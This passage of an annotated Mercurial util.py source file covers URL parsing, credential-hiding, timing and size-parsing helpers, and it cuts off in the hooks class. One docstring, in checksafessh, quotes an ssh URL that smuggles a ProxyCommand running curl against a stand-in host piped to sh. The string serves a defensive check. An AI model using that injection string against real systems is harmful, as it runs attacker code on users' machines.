924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3222 if not self.user:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3223 return (s, None)
15028
eb97a3e38656 http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents: 15027
diff changeset
3224 # authinfo[1] is passed to urllib2 password manager, and its
eb97a3e38656 http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents: 15027
diff changeset
3225 # URIs must not contain credentials. The host is passed in the
eb97a3e38656 http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents: 15027
diff changeset
3226 # URIs list because Python < 2.4.3 uses only that to search for
eb97a3e38656 http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents: 15027
diff changeset
3227 # a password.
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3228 return (s, (None, (s, self.host), self.user, self.passwd or b''))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3229
14766
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
3230 def isabs(self):
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3231 if self.scheme and self.scheme != b'file':
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3232 return True # remote URL
14766
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
3233 if hasdriveletter(self.path):
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3234 return True # absolute for our purposes - can't be joined()
33096
d9962854a4a2 py3: add b'' to make the regex pattern bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 33094
diff changeset
3235 if self.path.startswith(br'\\'):
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3236 return True # Windows UNC path
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3237 if self.path.startswith(b'/'):
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3238 return True # POSIX-style
14766
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
3239 return False
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
3240
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3241 def localpath(self):
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3242 if self.scheme == b'file' or self.scheme == b'bundle':
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3243 path = self.path or b'/'
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3244 # For Windows, we need to promote hosts containing drive
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3245 # letters to paths with drive letters.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3246 if hasdriveletter(self._hostport):
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3247 path = self._hostport + b'/' + self.path
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3248 elif (
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3249 self.host is not None and self.path and not hasdriveletter(path)
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3250 ):
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3251 path = b'/' + path
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3252 return path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3253 return self._origpath
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3254
20353
0889585b44f1 util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
3255 def islocal(self):
0889585b44f1 util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
3256 '''whether localpath will return something that posixfile can open'''
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3257 return (
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3258 not self.scheme
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3259 or self.scheme == b'file'
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3260 or self.scheme == b'bundle'
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3261 )
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3262
20353
0889585b44f1 util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
3263
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3264 def hasscheme(path):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3265 return bool(url(path).scheme)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3266
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3267
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3268 def hasdriveletter(path):
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3269 return path and path[1:2] == b':' and path[0:1].isalpha()
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3270
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3271
14825
de9eb6b1da4f util: rename the util.localpath that uses url to urllocalpath (issue2875)
Mads Kiilerich <mads@kiilerich.com>
parents: 14766
diff changeset
3272 def urllocalpath(path):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3273 return url(path, parsequery=False, parsefragment=False).localpath()
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3274
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3275
33650
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
3276 def checksafessh(path):
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
3277 """check if a path / url is a potentially unsafe ssh exploit (SEC)
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
3278
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
3279 This is a sanity check for ssh urls. ssh will parse the first item as
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
3280 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
3281 Let's prevent these potentially exploited urls entirely and warn the
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
3282 user.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
3283
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
3284 Raises an error.Abort when the url is unsafe.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
3285 """
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
3286 path = urlreq.unquote(path)
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3287 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3288 raise error.Abort(
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3289 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3290 )
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3291
33650
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
3292
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3293 def hidepassword(u):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3294 '''hide user credential in a url string'''
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3295 u = url(u)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3296 if u.passwd:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3297 u.passwd = b'***'
31841
9ff5a124d111 py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31811
diff changeset
3298 return bytes(u)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3299
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3300
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3301 def removeauth(u):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3302 '''remove all authentication information from a url string'''
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3303 u = url(u)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
3304 u.user = u.passwd = None
37366
b23e3cc1afd4 py3: return bytes from util.removeauth()
Pulkit Goyal <7895pulkit@gmail.com>
parents: 37322
diff changeset
3305 return bytes(u)
14515
76f295eaed86 util: add helper function isatty(fd) to check for tty-ness
Idan Kamara <idankk86@gmail.com>
parents: 14313
diff changeset
3306
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3307
18736
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3308 timecount = unitcountfn(
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3309 (1, 1e3, _(b'%.0f s')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3310 (100, 1, _(b'%.1f s')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3311 (10, 1, _(b'%.2f s')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3312 (1, 1, _(b'%.3f s')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3313 (100, 0.001, _(b'%.1f ms')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3314 (10, 0.001, _(b'%.2f ms')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3315 (1, 0.001, _(b'%.3f ms')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3316 (100, 0.000001, _(b'%.1f us')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3317 (10, 0.000001, _(b'%.2f us')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3318 (1, 0.000001, _(b'%.3f us')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3319 (100, 0.000000001, _(b'%.1f ns')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3320 (10, 0.000000001, _(b'%.2f ns')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3321 (1, 0.000000001, _(b'%.3f ns')),
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3322 )
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3323
18736
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3324
38797
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3325 @attr.s
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3326 class timedcmstats(object):
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3327 """Stats information produced by the timedcm context manager on entering."""
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3328
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3329 # the starting value of the timer as a float (meaning and resulution is
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3330 # platform dependent, see util.timer)
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3331 start = attr.ib(default=attr.Factory(lambda: timer()))
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3332 # the number of seconds as a floating point value; starts at 0, updated when
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3333 # the context is exited.
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3334 elapsed = attr.ib(default=0)
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3335 # the number of nested timedcm context managers.
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3336 level = attr.ib(default=1)
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3337
38812
9d49bb117dde util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents: 38797
diff changeset
3338 def __bytes__(self):
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3339 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
38797
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3340
38812
9d49bb117dde util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents: 38797
diff changeset
3341 __str__ = encoding.strmethod(__bytes__)
9d49bb117dde util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents: 38797
diff changeset
3342
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3343
38797
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3344 @contextlib.contextmanager
39259
e00123f63410 util: make timedcm require the label (API)
Augie Fackler <augie@google.com>
parents: 39258
diff changeset
3345 def timedcm(whencefmt, *whenceargs):
38797
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3346 """A context manager that produces timing information for a given context.
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3347
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3348 On entering a timedcmstats instance is produced.
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3349
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3350 This context manager is reentrant.
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3351
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3352 """
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3353 # track nested context managers
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3354 timedcm._nested += 1
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3355 timing_stats = timedcmstats(level=timedcm._nested)
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3356 try:
39257
497effb0a04a util: make timedcm context manager also emit trace events
Augie Fackler <augie@google.com>
parents: 39209
diff changeset
3357 with tracing.log(whencefmt, *whenceargs):
497effb0a04a util: make timedcm context manager also emit trace events
Augie Fackler <augie@google.com>
parents: 39209
diff changeset
3358 yield timing_stats
38797
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3359 finally:
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3360 timing_stats.elapsed = timer() - timing_stats.start
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3361 timedcm._nested -= 1
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3362
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3363
38797
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3364 timedcm._nested = 0
18736
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3365
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3366
18736
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3367 def timed(func):
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
3368 """Report the execution time of a function call to stderr.
18736
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3369
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3370 During development, use as a decorator when you need to measure
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3371 the cost of a function, e.g. as follows:
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3372
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3373 @util.timed
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3374 def foo(a, b, c):
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3375 pass
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
3376 """
18736
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3377
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3378 def wrapper(*args, **kwargs):
39258
331ab85e910b cleanup: make all uses of timedcm specify what they're timing
Augie Fackler <augie@google.com>
parents: 39257
diff changeset
3379 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
38797
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3380 result = func(*args, **kwargs)
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3381 stderr = procutil.stderr
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3382 stderr.write(
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3383 b'%s%s: %s\n'
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3384 % (
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3385 b' ' * time_stats.level * 2,
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3386 pycompat.bytestr(func.__name__),
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3387 time_stats,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3388 )
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3389 )
38797
8751d1e2a7ff util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents: 38713
diff changeset
3390 return result
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3391
18736
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
3392 return wrapper
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3393
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3394
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3395 _sizeunits = (
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3396 (b'm', 2 ** 20),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3397 (b'k', 2 ** 10),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3398 (b'g', 2 ** 30),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3399 (b'kb', 2 ** 10),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3400 (b'mb', 2 ** 20),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3401 (b'gb', 2 ** 30),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3402 (b'b', 1),
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3403 )
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3404
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3405
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3406 def sizetoint(s):
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
3407 """Convert a space specifier to a byte count.
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3408
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
3409 >>> sizetoint(b'30')
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3410 30
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
3411 >>> sizetoint(b'2.2kb')
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3412 2252
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
3413 >>> sizetoint(b'6M')
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3414 6291456
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
3415 """
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3416 t = s.strip().lower()
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3417 try:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3418 for k, u in _sizeunits:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3419 if t.endswith(k):
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3420 return int(float(t[: -len(k)]) * u)
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3421 return int(t)
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
3422 except ValueError:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
3423 raise error.ParseError(_(b"couldn't parse size: %s") % s)
19211
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3424
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
3425
19211
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
3426 class hooks(object):
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
3427 """A collection of hook functions that can be used to extend a
26098
ce26928cbe41 spelling: behaviour -> behavior
timeless@mozdev.org
parents: 25672
diff changeset
